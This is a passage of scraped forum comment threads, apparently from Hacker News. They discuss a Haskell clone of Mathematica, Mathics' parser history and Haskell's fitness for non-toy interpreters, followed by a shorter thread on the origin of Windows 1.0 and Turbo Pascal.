
It also provides jupyter kernel.

The original author was hired by Wolfram, but the project still lives on!

[http://mathics.github.io](http://mathics.github.io)

Maxima is older than Mathematica and written in LISP. One of its contributors has written MockMMA to implement Mathematica in LISP:

[https://people.eecs.berkeley.edu/~fateman/lisp/](https://people.eecs.berkeley.edu/~fateman/lisp/)

<comment><USER3> I've looked at the github project for Mathics and didn't see any use of ply... Looks like they have written their own parser/lexer.

<comment><USER2> Yes, indeed - it is very weird! Because mathics still mentions ply in change.rst, but not used in code anymore:

[https://github.com/mathics/Mathics/blob/master/CHANGES.rst](https://github.com/mathics/Mathics/blob/master/CHANGES.rst)

<comment><USER4> Hidden in there (under 1.0) is "new recursive descent parser #416". We've only just finished 1.0 and haven't had a chance to announce it properly yet.

<comment><USER2> is this limitation in ply?

<comment><USER4> We previously used ply but ran into a few issues:

The main issue was that generating the tables was extremely slow (~15mins). We solved this by packaging the tables, but when the version of ply changed a table regeneration was forced on our users.

The recursive descent parser was also simpler and significantly more performant.

There's a short write-up on the PR: [https://github.com/mathics/Mathics/pull/416](https://github.com/mathics/Mathics/pull/416)

</comment></comment></comment></comment></comment></comment><comment><USER5> I've written a Mathematica clone twice before. This guy got there much faster ( I was writing in C++).

However both times I got the basic language going then realized it was the standard library that made Mathematica gold and abandoned it.

Kudos to him and it's good work!

<comment><USER6> Are the solver algorithms part of the standard library or part of the execution engine? i.e., are Solve/DSolve/etc. written in plain Mathematica code, or are they special somehow?

<comment><USER7> You can call external code from Mathematica, so they can be part of the standard lib and be special.

<comment><USER6> OK, but that doesn't answer my question...

</comment></comment></comment></comment><comment><USER8> This proves, once again, what a world-class, unbeatable tool Haskell is for writing toy interpreters.

<comment><USER9> Any ML language is.

When I was at the university[0], we were forbidden to use Caml Light, Lisp or Prolog in our compiler classes, because they would make the exercises too easy and so we wouldn't learn properly.

[0] Haskell was still to be born and we had Miranda instead.

<comment><USER10> You might want to read his comment a little more carefully

<comment><USER9> > unbeatable tool Haskell is for writing toy interpreters.

 _unbeatable_

As if no other language has the same feature set.

<comment><USER11> focus your eye on the word TOY and think about it for a while

<comment><USER9> So explain me why Lisp, Prolog or any ML derivative aren't as capable as Haskell for TOY interpreters.

Unless s/he was being sarcastic, but if so I don't get the joke.

<comment><USER11> Prepare for a facepalm.

It has nothing to do with Lisp or ML.

Read again:

> This proves, once again, what a world-class, unbeatable tool Haskell is for > writing toy interpreters.

This somehow suggest a) that it is not quite exactly really there, where one may want to develop a non-toy interpreter/compiler/... and/or b) that a lot of examples are just toy programs which can be as well developed in any language and one has now seen zillions of those in Haskell and everyone is convinced that Haskell is good for implementing toy interpreters. and/or c) that the quality of the code stays on toy level.

In this case it is a slightly more advanced toy interpreter, but the implementation lacks any information about its architecture, there is no documentation, stuff is hardcoded, etc. It's the typical slightly autistic implementation where there is the code and a some tests...

The real challenge would be to develop a non-toy interpreter/compiler/... Is there Haskell still a world-class, unbeatable tool?

Personally I'm not a Haskell user, but I like that people are writing code in it. Though for such an application I would like to see a bit more effort on the meta-information about the code. You can see that in some (!) Lisp programs, people invest some effort to make them very expressive and readable. Just read the PAIP code/book from Peter Norvig which implements some parts of Macsyma in Common Lisp.

But there is the danger of not being able to really compete for many high- level languages. Lisp had some attempts for actual products in this domain of computer algebra: Macsyma, Reduce and Axiom were the most prominent. The were developed as real products with actual end-users. They failed in the market place against languages with C/C++-based implementations like Mathematica. Though they are still being maintained as open source / free software projects.

<comment><USER9> Thanks for taking the effort of writing it down.

Still, I don't agree with the snarky remark of the OP, hence why I wasn't getting it, as there are several uses of Haskell in production.

Besides Microsoft, Facebook and Intel there are quite a few other companies using it in production, specially in financial and insurance sector for data modelling.

I am the other way, I have dabbled quite a few times with Lisp languages, mostly Emacs Lisp, Guile and Clojure.

I am also a big fan of the old Lisp Machines, but having learned FP in Caml Light, my brain got hardwired to ML derived languages.

<comment><USER11> Use in production - often in-house production - is slightly different than development of a non-toy language implementation or a non-toy application (here an interpreter for a clone of the Mathematica language).

Non-toy computer-algebra applications in Lisp were/are Macsyma/Maxima/Vaxima, Reduce and Axiom. They were real products an end user could buy. There is an extensive amount of literature about Macsyma: [http://ftp.math.utah.edu/pub/tex/bib/macsyma.bib](http://ftp.math.utah.edu/pub/tex/bib/macsyma.bib)

But then one might want to survive in the market place.

Btw., people even use the C64 still in 'production'. ;-)

[http://sploid.gizmodo.com/this-old-ass-commodore-64-is- still...](http://sploid.gizmodo.com/this-old-ass-commodore-64-is-still-being- used-to-run-an-1787196319)

<comment><USER9> Well, here is a non-toy language implementation used by Intel for hardware design implemented in Haskell:

[https://www.cs.ox.ac.uk/tom.melham/res/reflect.html](https://www.cs.ox.ac.uk/tom.melham/res/reflect.html)

<comment><USER11> Is it implemented in Haskell and not in C/C++? The papers I saw didn't say anything about the implementation.

<comment><USER9> I guess it was the one they use for formal verification of their CPUs.

But there is also the Sigma rules engine used at Facebok as another possible example,

[https://code.facebook.com/posts/745068642270222/fighting- spa...](https://code.facebook.com/posts/745068642270222/fighting-spam-with- haskell/)

<comment><USER11> Well, that's a rule engine embedded into Haskell. Great, but different from a language implementation of the Mathematica language (syntax / parser, ... , interpreter).

Anyway, that what I said above. Inhouse use for special purpose applications.

<comment><USER9> It is still production code, with people being paid to write code in Haskell.

<comment><USER11> That still says nothing about the code.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER12> I've written a toy TeX interpreter/macro-expander as my first "large" Haskell program. It really made me think hard about both Haskell and TeX. I think this is a great way to learn two languages at the same time if you already have experience.

</comment><comment><USER13> It would be interesting to benchmark it against the real thing.

</comment><comment><USER14> doesn't this turn Mathematica into a scripting language for Haskell?

<comment><USER15> Not any more than CPython is a scripting language for C. The Mathematica program is entirely interpenetrated. It does not have access to the underlying Haskell system.

<comment><USER16> That's a bit of a shame, in some way. In the same way Hy [0] wraps Lisp's notation style around Python, it would be quite powerful if there was a way to 'wrap' Mathematica around Haskell; being able to combine the two would be interesting (and probably quite powerful).

[0] [http://docs.hylang.org](http://docs.hylang.org)

<comment><USER17> you can use the Mathematica Kernel C API to make any language interface with mathematica (I did this with Python a long time ago). This typically involves the scripting langauge (or compiled language) invoking Mathematica functions, I;'m not 100% if Mathematica can then call back into Haskell or other language functions via a callback.</comment></comment></comment></comment>


The Origin of Windows, by the product manager who shipped Windows 1.0 (2010) - <AUTHOR> http://www.technologizer.com/2010/03/08/the-secret-origin-of-windows/ <comment><USER2> 30 years ago and Borland had a compiled language that was almost as fast as working with an interpreted language. Compile and link in seconds on 8Mhz machines:

"At $50 for the Borland product vs. the Microsoft $400 compiler, it was a bit like comparing a VW to a Porsche. But while Turbo Pascal was lighter weight for serious development, it was almost as quick for programming and debugging as Microsoft's BASIC interpreters."

Found this article where the guy claims that the technology was folded into Delphi and it was probably about 1 million lines per minute on much faster hardware:

[http://prog21.dadgum.com/47.html](http://prog21.dadgum.com/47.html)

</comment><comment><USER3> "So, in January of 1985 I transitioned over the Windows team"

"By November, we had finished testing and come up with a solid release."

Windows was _announced_ in November of 1983.

I guess what I am saying is that for Windows 1.0, this guy was most likely not that instrumental.

<comment><USER4> Couldn't even make it to the end of the first page of the story could you?

He is very clear in his role and influence on the initial versions of windows, since you don't like reading I'll sum it up for you,

"There wasn't much time to make changes."

<comment><USER3> Why the hostility?

</comment></comment></comment><comment><USER5> Date: 2010

<comment><USER4> As it's talking about a time from 1985 to ~1995 does that matter?

<comment><USER5> In terms of my compulsions? Apparently so.</comment></comment></comment>